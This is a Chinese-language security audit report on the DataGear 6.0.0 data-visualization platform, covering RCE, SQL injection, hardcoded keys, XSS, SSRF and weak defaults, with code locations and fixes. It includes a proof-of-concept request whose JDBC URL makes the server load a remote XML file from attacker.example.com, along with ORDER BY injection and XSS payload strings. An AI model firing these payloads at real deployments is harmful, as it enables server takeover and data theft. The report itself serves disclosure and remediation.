DataGear 代码安全审计报告

20次阅读
没有评论

DataGear 代码安全审计报告

审计对象:DataGear 6.0.0(开源数据可视化分析平台,Java 8 + Spring Boot 2.7 + MyBatis 3.3.1 + Spring Security 5)
审计方式:只读源码审计,未修改任何代码
审计时间:2026-08-12
审计范围:反序列化、命令执行 / RCE、SQL 注入、未授权访问、硬编码凭据、XSS、SSRF、越权


一、总体结论

DataGear 采用 Spring Security + 基于数据权限(DATA_PERMISSION)的 MyBatis 查询过滤体系,整体安全架构设计较为严谨:数据源读写、授权管理、表数据操作均有较完善的权限校验。但审计发现 5 项高/高危、15 项中危 漏洞,其中 一条由「开放注册 + 弱验证码 + 默认数据管理员角色 + 捆绑受 CVE 影响的 JDBC 驱动 + 无 URL 校验」串联的远程代码执行(RCE)链 最为严重——在默认配置下,互联网匿名攻击者注册账号后即可尝试触发。

越权 / 未授权访问专项结论(第 4 个专项代理 + 主审交叉验证): URL 层有较多匿名放行(disableAnonymous=false 默认开启),但未发现可绕过服务层数据权限校验的直接未授权越权——关键写入/删除均走 getByIdForView/getByIdForEdit/update(user,entity)/deleteById(user,id) 服务层校验。越权风险集中在 配置级放大:默认开放注册 + 注册即数据管理员(ROLE_DATA_ADMIN)使人人可进入高危操作面,叠加 H1/H2/H5 形成完整利用链。详见第四部分与第五部分。

高危漏洞清单(RCE / SQL 注入 / 未认证 XSS)

# 漏洞 严重度 影响
H1 JDBC URL 注入 → 远程代码执行(CVE-2022-21724 PostgreSQL 驱动) 高危 服务器 RCE / 内网穿透 / SSRF
H2 全部分页接口 ORDER BY 排序注入 高危 数据库任意数据窃取(用户表、密码哈希)
H3 remember-me 硬编码签名密钥 DG_REMEMBER_ME_KEY 高危 伪造任意用户登录 Cookie,提权
H4 登录页 redirect 参数 javascript: 反射型 XSS(兼开放重定向) 高危 已认证会话任意 JS 执行 / 钓鱼
H5 HTTP 数据集任意 URL 请求(SSRF) 高 内网探测、云元数据读取、内网接口操作

中危漏洞清单

# 漏洞 严重度
M1 数据源密码 / 看板分享密码加密密钥硬编码("DataGear") 中
M2 内置默认账号 admin/admin,密码哈希算法弱(SHA-256 链) 中
M3 开放注册 + 注册用户默认授予数据管理员角色 中
M4 4 位数字验证码使用 new Random() 生成,可爆破 中
M5 数据源 URL 构建器 url 参数 </script> 逃逸反射型 XSS 中高
M6 看板内联图表 JSON 未 HTML 转义 → 数据集名称存储型 XSS 中
M7 只读 SQL 校验黑名单可绕过(MySQL /*! */ 可执行注释、缺 CALL/LOAD_FILE/OUTFILE) 中
M8 数据源默认不加密存储密码({noop} 明文) 中
M9 ZIP 解压绝对路径条目(zip-slip,Windows 平台) 低-中
M10 全局关闭 CSRF(http.csrf().disable()) 中
M11 全局关闭 X-Frame-Options(可被 iframe 点击劫持) 中
M12 重置密码仅凭「服务器校验文件存在」,无邮箱/令牌 中(需人工验证写入来源)
M13 看板全局资源接口 showGlobalResource 无看板 ID/权限校验 中
M14 看板分享密码校验为会话级限流,可新开会话无限爆破;已登录用户跳过密码 中
M15 FileSource 目录浏览/下载 Windows 正斜杠 ../../ 路径穿越 中(Windows 部署需验证)

二、高危漏洞详情

H1:JDBC URL 注入 → 远程代码执行(RCE)【条件性高危,默认配置可利用】

利用链路(默认配置下成立):

互联网攻击者
  → 1. 注册账号(开放注册,默认开启)
  → 2. 新用户自动获得 ROLE_DATA_ADMIN(数据管理员)角色
  → 3. 拥有 /dtbsSource/testConnection 与 /dtbsSource/saveEdit 访问权
  → 4. 提交恶意 JDBC URL(无任何协议/参数校验)
  → 5. 服务器使用捆绑的 postgresql-42.2.19.jar(受 CVE-2022-21724 影响)建立连接
  → 6. socketFactory 参数触发 Spring ClassPathXmlApplicationContext 加载远端 XML
  → 7. 服务器端任意代码执行

关键代码位置:

  • datagear-web/src/main/java/org/datagear/web/controller/DtbsSourceController.java:167-191(saveEdit)与 :271-303(testConnection)
    • checkSaveEntity(:426-431)仅校验 URL 非空,无协议/主机/参数白名单;
    • testConnection 直接对用户提交的 DtbsSource 建立 JDBC 连接,无需先保存。
  • datagear-management/src/main/java/org/datagear/management/util/DtbsSourceConnectionSupport.java:62-97
    • 将用户可控的 URL、连接属性(DtbsSourceProperty)组装成 ConnectionOption。
  • datagear-connection/src/main/java/org/datagear/connection/DefaultConnectionSource.java:179-182
    • 按 URL 前缀自动匹配驱动并 driver.connect(url, properties)。
  • datagear-web/src/main/java/org/datagear/web/config/SecurityConfigSupport.java:492-494
    • /dtbsSource/add|saveAdd|edit|saveEdit|testConnection|delete 由 dataManagerAuthorizationManager() 保护;
    • AuthenticationSecurity.java:68-77:hasDataManager() 拒绝匿名,但对 ROLE_DATA_ADMIN 返回 true。
  • datagear-management/src/main/resources/org/datagear/management/ddl/datagear.sql + application.properties:132
    • defaultRole.register=ROLE_DATA_ADMIN —— 注册用户即数据管理员(RoleSpec.ROLE_DATA_MANAGER = "ROLE_DATA_ADMIN")。
  • datagear-web/src/main/resources/org/datagear/web/builtInDriverEntity.zip
    • 内置驱动库捆绑 postgresql-42.2.19.jar(受 CVE-2022-21724 影响;修复版本 ≥ 42.2.23)。
  • datagear-management/src/main/java/org/datagear/management/util/DtbsSourceGuardChecker.java:61-81
    • 数据源防护默认 permitted=true,未配置规则时放行一切 URL。

PoC 概念(PostgreSQL):

POST /dtbsSource/testConnection
Content-Type: application/json

{
  "title": "poc",
  "url": "jdbc:postgresql://attacker.example.com:5432/db?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://attacker.example.com/evil.xml",
  "user": "postgres",
  "password": ""
}

说明:

  • 该漏洞本质是「用户可控 JDBC URL / 连接属性直达服务端驱动加载」这一设计缺陷,叠加默认开放注册、默认数据管理员角色、默认放行的数据源防护、以及捆绑的受 CVE 影响的驱动版本,构成真实可利用的 RCE 链。
  • 其他驱动亦可带来同类风险:H2 INIT=RUNSCRIPT、MSSQL xp_cmdshell 等。
  • 连接属性(DtbsSourceProperty)同样用户可控,可注入 socketFactory、loggerFile 等危险驱动参数。
  • 即使不考虑 RCE,该接口也可作为 SSRF 用于探测内网任意 host:port。

修复建议:

  1. 默认启用数据源防护(URL 模式黑白名单),拒绝内网/保留地址、限制协议;
  2. 对 JDBC URL 做解析校验,禁止 socketFactory/sslfactory/socketFactoryArg/INIT 等危险连接参数;
  3. 升级内置 PostgreSQL 驱动至 ≥ 42.2.23;
  4. 默认关闭开放注册,或注册用户默认授予较低角色(如仅 ROLE_DATA_ANALYST);
  5. 默认开启数据源密码加密(crypto.enabled=true)。

H2:全部分页接口 ORDER BY 排序注入(SQL 注入)

漏洞位置:

  • datagear-management/src/main/resources/org/datagear/management/mapper/commonSqls.xml:16
    <sql id="queryOrder">
        <if test="queryOrder != null">
        ORDER BY ${queryOrder}
        </if>
    </sql>
    
  • datagear-management/src/main/java/org/datagear/management/util/dialect/MbSqlDialect.java:119-123(quote())与 :182-210(setQueryOrderParam())
    public String quote(String identifier) {
        String iq = getIdentifierQuote();   // MySQL 为 ` ,PostgreSQL 为 "
        return iq + identifier + iq;        // 未对标识符内嵌引号转义
    }
    
  • datagear-util/src/main/java/org/datagear/util/query/Order.java:37(name 字段无校验)

攻击链:

POST /xxx/pagingQueryData
Content-Type: application/json

{ "orders": [{ "name": "<payload>", "type": "ASC" }] }

PagingQuery(继承 Query,datagear-persistence/Query.java:41)的 orders[].name 由 Jackson 直接绑定、无白名单/过滤,经 AbstractMybatisService.java:407 → setQueryOrderParam → quote() 拼入 ${queryOrder},最终执行 ORDER BY ${queryOrder}。

  • MySQL(标识符引号 `),用 # 注释吞掉服务端追加的 ` ASC:
    name = "x` ASC, (SELECT CASE WHEN (<条件>) THEN 1 ELSE (SELECT 1/0) END) #"
    → ORDER BY `x` ASC, (SELECT CASE WHEN (...) THEN 1 ELSE (SELECT 1/0) END) #` ASC
    
  • PostgreSQL(标识符引号 "),用 -- 注释:
    name = "x\" ASC, (SELECT CASE WHEN (<条件>) THEN 1 ELSE 1/0 END) --"
    → ORDER BY "x" ASC, (SELECT CASE WHEN (...) THEN 1 ELSE 1/0 END) --" ASC
    

影响: 影响所有引用 common.queryOrder 的管理端分页接口(用户、角色、授权、数据集、数据源、看板、图表、分析项目等)。可通过错误型/布尔盲注窃取 DataGear 自身数据库中的任意数据(包括用户表、密码哈希)。前置条件:已登录且具备 DATA_ANALYST 及以上角色(注册用户天然满足)。

修复建议:

  1. MbSqlDialect.quote() 复用 JdbcUtil.quote()(对引号做双写转义);
  2. 对 Order.name 做标识符白名单校验(如 ^[A-Za-z_][A-Za-z0-9_.]*$)。

H3:remember-me 签名密钥硬编码 → 任意用户登录 Cookie 伪造

漏洞位置:

  • datagear-web/src/main/java/org/datagear/web/config/support/FormLoginConfgBean.java:253-255
    .and().rememberMe().key(Global.NAME_SHORT_UCUS + "REMEMBER_ME_KEY")
    .tokenValiditySeconds(60 * 60 * 24 * 365).rememberMeParameter(this.loginParamRememberMe)
    .rememberMeCookieName(Global.NAME_SHORT_UCUS + "REMEMBER_ME");
    
  • datagear-util/src/main/java/org/datagear/util/Global.java:55:NAME_SHORT_UCUS = "DG_"

说明: remember-me 令牌签名密钥硬编码为 DG_REMEMBER_ME_KEY,有效期 1 年。攻击者掌握密钥后可自行构造 DG_REMEMBER_ME Cookie 的签名(需配合已知用户名),伪造任意用户(包括 admin)的身份,无需密码。属于典型的硬编码密钥导致的身份伪造漏洞。

修复建议: 从配置/环境变量读取随机密钥,禁止硬编码;tokenValiditySeconds 建议缩短;对 remember-me Cookie 设置 Secure 属性。


H4:登录页 redirect 参数 javascript: 反射型 XSS(兼开放重定向)

漏洞位置:

  • datagear-web/src/main/java/org/datagear/web/controller/LoginController.java:172-174
    String redirect = request.getParameter(REDIRECT_PARAM_NAME);
    if (!StringUtil.isEmpty(redirect))
        model.addAttribute("redirect", redirect);   // 无任何校验
    
  • datagear-web/src/main/resources/org/datagear/web/templates/login.ftl:104,136-146
    po.customRedirect = "${redirect!''}";        <!-- <script> 块内,HTML 自动转义但对 javascript: 无效 -->
    ...
    if(po.customRedirect) { url = po.customRedirect; }
    ...
    (window.top ? window.top : window).location.href = url;   <!-- javascript: URL 在此执行 -->
    
  • /login/** 为 permitAll(SecurityConfigSupport.java:738),无需认证即可访问。

说明: javascript:alert(document.cookie) 不含 HTML 特殊字符,FreeMarker 的 HTML 自动转义不会改变它;登录成功后 location.href 被赋值为 javascript: URL,在现代浏览器中执行脚本。利用场景:诱骗用户点击恶意链接 → 用户登录 → 在已认证会话中执行任意 JS(窃取会话/操作权限)。该参数同样可作开放重定向(redirect=https://evil.com,登录后携带会话跳转钓鱼站)。

修复建议: 对 redirect 仅允许站内相对路径(以 contextPath 开头),拒绝 javascript:、data: 等协议;或使用白名单域名校验。


H5:HTTP 数据集任意 URL 请求(SSRF)

漏洞位置:

  • datagear-analysis/src/main/java/org/datagear/analysis/support/HttpDataSet.java:375-406(resolveResult 执行请求)、:488-504(任意请求头)、:554-579(createHttpRequest 支持 GET/POST/PUT/PATCH/DELETE)
  • datagear-web/src/main/java/org/datagear/web/controller/DataSetController.java:1424-1432(保存校验仅判 uri 非空)
  • datagear-web/src/main/java/org/datagear/web/config/CoreConfigSupport.java:382-384(HttpClients.createDefault(),默认跟随重定向,无 SSRF 加固)

说明: HTTP 数据集允许数据分析员自定义任意 URL、方法、请求头、请求体,服务器用 Apache HttpClient 发起请求并返回响应内容。无 URL 协议白名单、无内网/保留地址黑名单、无 DNS 重绑定防护。可访问 127.0.0.1、内网地址、云元数据 169.254.169.254;可自定义 Host/Authorization 头;可 POST/DELETE 内网管理接口。数据源防护(DtbsSourceGuard)只作用于 JDBC 数据源,未覆盖 HTTP 数据集。自注册用户即数据分析员,低权限即可构造 SSRF。

修复建议: HTTP 数据集复用 DtbsSourceGuard 或新增独立防护:拒绝 127.0.0.1、169.254.169.254、保留/内网网段,限制协议 http/https,限制关键请求头与重定向。


三、中危漏洞详情

M1:数据源密码 / 看板分享密码加密密钥硬编码

  • datagear-web/src/main/resources/org/datagear/web/application.properties:191-207
    dtbsSourcePsd.crypto.secretKey=RGF0YUdlYXI=   # = Base64("DataGear")
    dtbsSourcePsd.crypto.salt=4461746147656172   # = Hex("DataGear")
    dashboardSharePsd.crypto.secretKey=...        # 同理
    dashboardSharePsd.crypto.salt=...
    crypto.enabled=false                          # 默认不加密
    
  • datagear-web/src/main/java/org/datagear/web/config/CoreConfigSupport.java:708-721,884-897:创建 DelegatingTextEncryptor 时使用上述固定密钥。
  • DelegatingTextEncryptor(datagear-web/src/main/java/org/datagear/web/util/DelegatingTextEncryptor.java):
    • 密钥 DataGear 为公开常量,任何掌握源码者可解密所有以 {std} 前缀存储的数据源密码/看板分享密码;
    • {noop} 前缀为明文存储;
    • 加密算法为 Spring Encryptors.text = AES/CBC/PKCS5Padding + PBKDF2 密钥派生,密钥一旦公开即失去保密性。

修复建议: 密钥从环境变量/配置文件读取且随部署随机生成;默认开启加密(crypto.enabled=true)。

M2:内置默认账号 admin/admin

  • datagear-management/src/main/resources/org/datagear/management/ddl/datagear.sql:27-28
    INSERT INTO DATAGEAR_USER VALUES('admin','admin', '4c6d8d058a4db956...', ...)
    

    该哈希为 SHA-256 链式 1024 次迭代后的 "admin" 值(并带 {sha256} 前缀),属弱口令 + 弱哈希组合。

修复建议: 首次启动强制修改 admin 密码;内置密码使用 bcrypt/argon2 强哈希;或首次登录强制改密。

M3:开放注册 + 默认授予数据管理员角色

  • application.properties:132:defaultRole.register=ROLE_DATA_ADMIN
  • RegisterController.doRegister(datagear-web/.../RegisterController.java:145-183):user.setAdmin(false),但角色为数据管理员;验证码为 4 位数字。

说明: 默认开放注册且新用户自动成为「数据管理员」(可管理数据源、执行 testConnection 等)。该配置显著放大 H1、H5 的影响面——攻击者无需拥有既有账号即可进入高危操作面。

修复建议: 默认关闭注册(disableRegister=true)或注册用户默认授予 ROLE_DATA_ANALYST。

M4:4 位数字验证码使用 new Random()

  • datagear-web/src/main/java/org/datagear/web/util/CheckCodeManager.java:96:Random random = new Random();
    • java.util.Random 非密码学安全随机数,且不设种子,可预测;验证码空间仅 10^4 = 10000,可爆破注册/登录/重置密码验证码。

修复建议: 使用 SecureRandom,加长验证码或使用图形+干扰项;增加失败次数限制。

M5:数据源 URL 构建器 url 参数 </script> 逃逸反射型 XSS

  • datagear-web/src/main/java/org/datagear/web/controller/DtbsSourceUrlBuilderController.java:124-132
  • datagear-web/src/main/resources/org/datagear/web/templates/dtbsSourceUrlBuilder/dtbsSourceUrlBuilder_build.ftl:101
    po.initUrl = "${(url!'')?js_string?no_esc}";
    

    ?js_string 只转义 JS 字符串字符,不转义 </>;?no_esc 又关闭 HTML 自动转义。url=</script><script>alert(document.cookie)</script> 可闭合脚本块执行。前置:数据分析员角色。

M6:看板内联图表 JSON 未 HTML 转义 → 数据集名称存储型 XSS

  • datagear-analysis/src/main/java/org/datagear/analysis/support/html/HtmlChartScriptObjectWriter.java:75-78
  • datagear-analysis/src/main/java/org/datagear/analysis/support/JsonSupport.java:198-204(ObjectMapper 未启用 HTML 转义)
  • 看板页面以 <script>var 图表变量={...};</script> 内联图表对象;Jackson 不转义 </>。若数据集名称(或参数名/默认值)含 </script>,看板查看者触发 XSS。

M7:只读 SQL 校验黑名单可绕过

  • datagear-web/src/main/resources/org/datagear/webapp/src/dist/bin/config/application.properties:102-115(只读黑名单)
  • datagear-web/src/main/java/org/datagear/web/sqlpad/SqlpadExecutionService.java:563-567
  • datagear-util/src/main/java/org/datagear/util/sqlvalidator/SqlSimplifier.java / InvalidPatternSqlValidator.java

说明: sqlpad 执行 SQL 前按数据源权限选择 read/edit/delete 校验器(DtbsSourceSqlPermissionValidator,datagear-management/.../util/DtbsSourceSqlPermissionValidator.java:87-105),校验与执行同一 SQL 字符串(无 TOCTOU),但校验器为关键字黑名单,可绕过:

  1. MySQL 可执行注释 /*!50000 ... */:SqlSimplifier 剥离块注释后黑名单关键字不可见,但 MySQL 实际执行注释体;
  2. 只读黑名单缺 CALL(可调用存储过程改数据)、INTO OUTFILE/LOAD_FILE/INTO DUMPFILE(可读写服务器文件,需 FILE 权限)。

说明: 数据集查询复用同类校验器,存在同类绕过面。危害取决于数据源连接账号的数据库权限。

M8:数据源默认明文存储密码

  • 默认 crypto.enabled=false;DelegatingTextEncryptor NOOP 分支以 {noop} 明文存储数据源密码。

M9:ZIP 解压绝对路径条目(zip-slip,Windows 平台)

  • datagear-util/src/main/java/org/datagear/util/IOUtil.java:824-894(doUnzip)、FileUtil.java:801-807
  • ../ 穿越已被 FileUtil.checkBackwardPathNoTrim 拦截,Unix 下绝对路径条目 new File(parent, "/abs") 实测仍落在目标目录内(不可利用);Windows 下 trimPath 将 / 换为 \,形如 C:/evil 的条目变为 C:\evil,不被拦截且会忽略 parent → 潜在任意文件写入。
  • 上传面:图表插件上传(admin-only)、看板导入(普通用户可用)、数据源导入。

M10:全局关闭 CSRF 防护

  • datagear-web/src/main/java/org/datagear/web/config/SecurityConfigSupport.java:188:http.csrf().disable()
  • 所有写操作仅依赖会话 Cookie 与同源 JSON,存在跨站请求伪造攻击面:可诱导已登录用户触发数据源删除、数据集修改、SQL 执行等写操作(同源 JSON 由 X-Requested-With 等头识别,无法用传统 <form> 提交,但 JSONP/text/plain 技巧与 CORS 配置放松时仍可构造)。属纵深防御缺失,独立危害有限,但与 H3 会话伪造叠加放大。

M11:全局关闭 X-Frame-Options

  • SecurityConfigSupport.java:200:http.headers().frameOptions().disable()
  • 管理页面可被第三方页面 iframe 嵌入,存在点击劫持(点击劫持诱导管理员执行危险操作)与 UI 伪装风险。看板分享 iframe 是产品功能(需放行),但管理端页面应保留 frameOptions 限制。

M12:重置密码仅凭「服务器校验文件存在」,无邮箱/令牌(需人工验证)

  • datagear-web/src/main/java/org/datagear/web/controller/ResetPasswordController.java:166,204-231,254
  • /resetPassword/fillUserInfo 只需提交用户名即可推进到创建校验文件;checkUserInfo 仅检查服务器某目录下存在同名文件;setNewPassword 无额外认证直接改密。
  • 若攻击者能通过其他渠道(如文件上传、数据源导入落盘)向该校验目录写入同名文件,或服务器目录可控,则可重置任意用户(含 admin)密码。需人工验证该校验文件目录的实际写入来源。

M13:看板全局资源接口无看板 ID / 权限校验

  • datagear-web/src/main/java/org/datagear/web/controller/DashboardVisualController.java:654-691(showGlobalResource)
  • /dashboard/globalResource/{globalResPrefixName}/** 匿名放行,直接按文件名取全局资源根目录下文件。受 FileUtil.getFile 路径校验限制(Linux/macOS 阻断 ../),未授权读取面有限;但「全局资源」文件一旦落入目录即可被匿名读取,宜收紧为看板视图权限门控。

M14:看板分享密码为会话级限流,可绕过

  • DashboardVisualController.showAuthCheck(:315-375)与 isShowAuthed(:385-401)
  • 分享密码错误次数限制在会话维度(DashboardShowAuthCheckManager),攻击者新开浏览器会话即可无限爆破 4 位数字密码;且对已登录用户跳过密码校验(isShowAuthed 直接放行)。
  • 影响:可查看受密码保护的分享看板内容(分享数据本身仍受视图权限约束,仅泄露看板可视化内容)。

M15:FileSource 目录浏览/下载 Windows 正斜杠路径穿越(需验证)

  • datagear-util/src/main/java/org/datagear/util/FileUtil.java(getFileNullable → checkBackwardPathNoTrim)
  • Linux/macOS(PATH_SEPARATOR='/')下 ../ 被阻断抛 500;但 Windows(PATH_SEPARATOR='\')下可用正斜杠 ../../ 绕过检查,实现任意文件读取/覆盖。涉及:DashboardVisualController.showResource/showGlobalResource、DashboardGlobalResController.view/download、DtbsSourceExchangeController.exptDownload。
  • 生产 Linux 部署已阻断;Windows 部署需人工验证。

四、已排查但未发现的问题

以下类别经全库排查与调用链验证,未发现可利用漏洞:

  1. Java 反序列化:主源码无 ObjectInputStream/readObject/XMLDecoder/XStream/SnakeYAML/Jackson 多态反序列化使用。PathClassLoader 仅为 URLClassLoader 子类(误报)。
  2. 命令执行(Runtime.exec/ProcessBuilder):全库无直接调用。
  3. Freemarker 模板注入 RCE:已加固——DataSetFmkTemplateResolver 禁用 ?new(ALLOWS_NOTHING_RESOLVER)与 ?api(setAPIBuiltinEnabled(false)),模板内无法实例化类/调用任意 Java 方法。
  4. SpEL 表达式注入:DataSetFieldExpEvaluator 使用 SimpleEvaluationContext + 只读属性访问 + AST 层禁用危险节点(TypeReference/MethodReference/ConstructorReference/BeanReference 等),T(java.lang.Runtime)... 在解析期被拒。
  5. 数据权限查询注入:commonDataPermissionSqls.xml 内 ${DP_*} 全部来自服务端/会话常量,非用户输入,未发现可注释掉 AND 条件的注入点。
  6. 授权管理越权:Authorization.canAuthorize(Authorization.java:406-426)要求资源创建者且具 DELETE 权限,isAllowAuthorization 要求资源存在且用户可访问——无法通过授权接口自我提权。
  7. 表数据操作越权:DtbsSourceDataController 的读/编辑/删除操作分别校验 checkReadTableDataPermission/checkEditTableDataPermission/checkDeleteTableDataPermission。
  8. sqlpad 只读越权:sqlpad executeSql 虽仅要求读权限,但执行前经 DtbsSourceSqlPermissionValidator 按用户 dataPermission 选择 read 校验器,READ 用户的校验器拦截 INSERT/UPDATE/DELETE 等写关键字(黑名单绕过风险见 M7,但非直接提权)。
  9. 看板资源路径穿越(Linux/macOS):FileTplDashboardWidgetResManager.getFile + DashboardController.trimResourceName 双重校验,../ 拦截有效(Windows 正斜杠绕过见 M15)。
  10. 看板分享数据权限越权:分享状态看板的数据查询 pagingQueryData 走 canRead 视图权限,未发现绕过分享权限直接读取底层数据。
  11. sqlpad 未授权执行:sqlpad/sqlEditor/dtbsSourceData 入口均校验数据源读/写权限(getDtbsSourceForUserNotNull/checkReadTableDataPermission/checkEditTableDataPermission),未发现未授权执行 SQL 的路径(只读校验黑名单绕过见 M7)。
  12. 数据源密码接口回显:DtbsSourceController.toFormResponseData/toQueryResponseData 与 DataSetController.toFormResponseData 均调用 entity.clearPassword(),接口层未发现密码明文返回。
  13. 用户/角色/授权管理 IDOR:/user/**、/role/** 由 admin 门控;绝大多数 ID 操作正确走 getByIdForView/getByIdForEdit/update(user,entity)/deleteById(user,id) 服务层校验,IDOR 面较窄。

五、低危 / 信息项

位置 问题
SecurityConfigSupport.java:833 兜底 /** = accessAuthorizationManager()(匿名可访问)——未显式列入白名单的 URL 对匿名用户开放,靠服务层数据权限兜底;配合默认开放注册放大利用面(见 M3/H1)
SecurityConfigSupport.java:973-982 StrictHttpFirewall.setAllowSemicolon(true) 允许分号,配合框架可造成参数走私/歧义(实际危害依赖具体路由)
AnonymousAuthenticationFilterExt:131-162 匿名身份基于 Cookie UUID 识别,10 年有效,可跨会话伪造(会话固定风险);Cookie 未设 Secure/HttpOnly
IDUtil.java 使用 Math.random() 生成 ID(randomIdOnTime20 等),非加密随机
测试/示例配置 存在 root/root 等测试凭据(非生产代码)
匿名 Cookie DG_USER_ID_ANONYMOUS 未设置 Secure/HttpOnly,10 年有效期
看板预览 iframe 无 sandbox 属性(同源设计)
登录失败锁定 有 IP/用户名锁定(LoginLatchFilter),但验证码/注册接口无同等限制
main.ftl:55 ${welcomeContent?no_esc} 管理员配置内容未转义(管理员可控,属既定功能)
AbstractDbDialectBuilder 数据库产品名含 . 时 Class.forName + newInstance(仅限类路径已有类,低危)

六、修复优先级建议

优先级 行动
P0(立即) 1. 修复 H2 ORDER BY 注入(quote() 转义 + 标识符白名单);<br>2. 修复 H3 remember-me 硬编码密钥;<br>3. 修复 H4 登录 redirect XSS;
P0(立即) 4. 默认启用数据源防护、升级捆绑 PostgreSQL 驱动、校验 JDBC URL 危险参数(H1);<br>5. 默认关闭开放注册或降级注册角色(M3);
P1(尽快) 6. HTTP 数据集 SSRF 加固(H5);<br>7. 加密密钥改为环境变量 + 默认开启加密(M1);<br>8. 强制修改默认 admin 密码(M2);<br>9. 重置密码流程增加邮箱/令牌等强校验(M12);<br>10. 看板全局资源与分享密码:加视图权限门控 + 全局/IP 维度限流(M13/M14);
P2(计划) 11. 验证码 SecureRandom + 强化(M4);<br>12. 移除 ?js_string?no_esc 组合、JSON 内联启用 HTML 转义(M5/M6);<br>13. 完善只读 SQL 黑名单(补 CALL/LOAD_FILE/OUTFILE,处理 /*! 注释)(M7);<br>14. Windows 下验证并修复 zip-slip 与正斜杠路径穿越(M9/M15);<br>15. 按路由差异化恢复 CSRF 与 X-Frame-Options(M10/M11);<br>16. 人工验证 AuthorizationMapper.xml:146 ${queryContext.resource} 是否可达(见「需人工验证」清单)。

七、需人工验证清单

项 说明 验证方法
M12 重置密码校验文件写入来源 checkUserInfo 仅检查服务器某目录下存在同名文件 确认该目录是否有可控写入面(文件上传/导入落盘路径是否可指向)
M15 Windows 正斜杠路径穿越 FileUtil.getFileNullable 在 Windows 用 \ 分隔,../../ 正斜杠可绕过 Windows 部署下对 showResource/exptDownload 实测 %2e%2e%2f
AuthorizationMapper.xml:146 ${queryContext.resource} 拼接,受资源归属门控 验证是否有非创建者路径可注入资源字段
M7 sqlpad 只读绕过 缺 CALL/LOAD_FILE/OUTFILE 黑名单;/*! 可执行注释被剥离后黑名单不可见 用只读数据源账号实测存储过程调用与 INTO OUTFILE(需 DB 账号相应权限)
M10 CSRF 实际可利用性 同源 JSON 需配合 CORS/text/plain 技巧 实测跨站能否触发写接口
正文完
 0